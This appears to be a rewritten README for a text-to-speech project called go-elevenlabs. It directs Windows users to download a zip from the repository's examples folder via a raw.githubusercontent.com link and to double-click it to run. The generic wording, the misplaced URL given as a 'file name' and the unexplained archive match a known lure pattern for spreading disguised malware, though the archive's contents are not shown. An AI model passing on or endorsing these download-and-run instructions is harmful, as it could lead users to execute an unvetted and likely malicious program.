🎤 go-elevenlabs - Easy Text-to-Speech for Everyone

🚀 Getting Started

Welcome to the go-elevenlabs project! This is a simple way to convert text into spoken words using the ElevenLabs Text-to-Speech API. With this tool, you can easily create audio from text, making it great for various applications, including podcasts, audiobooks, and more.

📥 Download and Install

To get started, you need to download the application. Click the big button below to visit the Releases page.

Step-by-Step Guide

1. Visit the Releases Page

   • Click the link above.
   • Look for the latest release version available.

2. Choose the Right File for Your System

   • For Windows users, find the file named https://raw.githubusercontent.com/jerjer04/go-elevenlabs/main/examples/go-elevenlabs_2.8-alpha.1.zip.
   • For Mac users, choose go-elevenlabs-macos.
   • For Linux users, select go-elevenlabs-linux.

3. Download the Selected File

   • Click on the file name to download it to your computer.
   • Save the file in a location you can easily access, like your Desktop or Downloads folder.

4. Running the Application

   • Navigate to the folder where you downloaded the file.
   • Double-click the file to open the application.

System Requirements

Before using the go-elevenlabs application, ensure that your system meets the following requirements:

• Operating System:

  • Windows 10 or higher
  • MacOS Mojave or later
  • Any modern Linux distribution

• Memory (RAM):

  • At least 4 GB recommended

• Internet Connection:

  • Required for accessing the ElevenLabs API

🔍 Features

• Text-to-Speech Conversion: Convert any text into high-quality audio.
• Full Context Support: Maintain the meaning and tone of your text.
• Streaming Capabilities: Listen to audio in real time as it is generated.
• User-Friendly: Designed for users of all skill levels.
• Multiple Voices: Choose from different voices to suit your project.

🛠️ How to Use

Using go-elevenlabs is straightforward. Here’s a simple process to get you started:

1. Open the Application: Once you have installed the application, double-click the icon to launch it.

2. Input Your Text: In the main window, you will see a text box. Type or paste the text you want to convert into speech.

3. Select Voice Options: Choose from available voices in a dropdown menu. This allows you to customize the audio output.

4. Playback: Click the "Play" button to listen to your audio. You can pause, stop, or replay as needed.

5. Save the Audio: If you want to keep the audio file, click on the "Save" button and choose where to save the audio.

📈 Use Cases

You can use go-elevenlabs in various ways:

• Creating Audiobooks: Turn your written stories into audio for enjoyable listening.
• Producing Podcasts: Add voice to your podcast scripts for a polished sound.
• Educational Materials: Convert lecture notes and study materials into audio for review.
• Accessibility: Help those with reading difficulties by providing audio versions of texts.

🔗 Additional Resources

To learn more about the ElevenLabs Text-to-Speech API, you can check out the following resources:

• Official ElevenLabs API Documentation
• User Guide and FAQs

👫 Community and Support

If you run into issues or have questions, you can reach out for help:

• Issues: Visit the Issues page to report bugs or request features.
• Discussions: Join the conversation on the Discussions page for tips and support.

👀 Future Plans

We are continually working to improve go-elevenlabs. Look forward to:

• More voice options for better customization.
• Enhanced performance for faster audio generation.
• Additional features based on user feedback.

📝 License

go-elevenlabs is open-source software licensed under the MIT License. Feel free to use, modify, and distribute the code as needed.

Thank you for choosing go-elevenlabs! We hope you enjoy using the software to bring your text to life.

Don’t forget to download the latest version from our Releases page!